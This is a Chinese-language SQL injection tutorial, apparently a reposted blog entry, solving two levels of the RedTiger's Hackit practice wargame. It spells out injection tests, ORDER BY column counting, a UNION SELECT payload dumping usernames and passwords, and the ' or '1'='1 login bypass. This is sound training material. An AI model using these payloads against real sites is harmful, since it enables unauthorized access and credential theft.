SQL注入教程——(三)简单的注入尝试
来源:互联网 发布:贵阳网站建设方舟网络 编辑:程序博客网 时间:2024/06/17 13:08
本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。
GET与POST
进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。
在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。
- GET - 从指定的资源请求数据。
- POST - 向指定的资源提交要被处理的数据
1.get方法特点是参数直接从URL中传递
常见形式: http://www.test.com/index.php?[parameter1]=[value1]&[parameter2]=[value2]
即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。
2.post方法特点是常以提交表单形式传递参数
常见形式:
用firebug查看两者的区别:
get: https://redtiger.labs.overthewire.org/level1.php?id=1
post:
post注入多为字符型注入,需要注意引号闭合。
正文
本文以RedTiger’s Hackit两道简单的SQL注入为例。
1.简单的get注入
第一关
URL为:https://redtiger.labs.overthewire.org/level1.php
点击Category:1
后,URL变为:https://redtiger.labs.overthewire.org/level1.php?cat=1
且出现文字:
是以get方式传递cat
参数,进行判断是否存在注入点: https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1
正常 https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2
运行异常
看来存在数字型注入,利用order by
测试出存在4个列: https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4
正常 https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 5
运行异常
(此处可直接利用union联合查询进行判断列数)
构造union联合查询语句,找回显: https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4
发现3,4
处存在回显
且页面中有提示:
得知tablename为level1_users,并根据页面所要提交的信息为username,password
猜测列名为username,password
于是构造payload: https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
得到username和password,提交后get flag。
本题实现的是通过SQL注入进行获取敏感数据。
2.简单的post注入
第二关
URL为https://redtiger.labs.overthewire.org/level2.php
首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过: username
任意填写,password
为' or '1'='1
此时用firebug查看可以得到如下信息:
结果成功绕过,get flag。
本题实现的是通过SQL注入实现登录绕过。
总结:
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。
SQL注入基本流程可概括如下:
1. 判断是否存在注入点;
2. 判断字段回显位置;
3. 判断数据库信息;
4. 查找数据库名;
5. 查找数据库表;
6. 查找数据库表中字段以及字段值。
- SQL注入教程——(三)简单的注入尝试
- SQL注入教程——(一)SQL注入原理
- SQL注入教程——(四)宽字节注入
- 简单的sql注入式攻击 教程(小白 )
- SQL注入攻击尝试
- 简单的sql注入
- SQL网站注入的第一次尝试
- SQL注入教程——(二)常用语法基础
- 实验吧三道sql注入题目解题思路以及当中至少点整理(简单的SQL注入、简单的SQL注入2、简单的SQL注入)
- 一个简单的SQL注入
- 简单的sql注入,安全第一
- 简单的SQL注入攻击
- 简单的sql注入WP
- Web简单的SQL注入
- SQL注入——如何防御(三)
- sql注入攻击详解(三)sql注入解决办法
- sql注入攻击(三)sql注入解决办法
- sql注入攻击详解(三)sql注入解决办法
- [图像处理] 实验笔记
- Scala学习—类型参数
- Oracle Client11g下载安装以及本地服务名配置ORA针对PL/SQL设置小结
- Android热修复原理和例子
- iOS开发 数据存储之write
- SQL注入教程——(三)简单的注入尝试
- Selenium下拉滚动条
- nutch2.3 hadoop2.6.0 hbase0.98.8 分布式爬虫NoClassDefFoundError HBaseConfigurati
- UVA
- springMVC以post提交数据中文乱码
- hbase中出现的java.net.BindException-Problem binding to 111.175.221.58 60020
- golang二维切片赋值
- BZOJ1207_打鼹鼠_KEY
- ssm多文件上传ftp服务器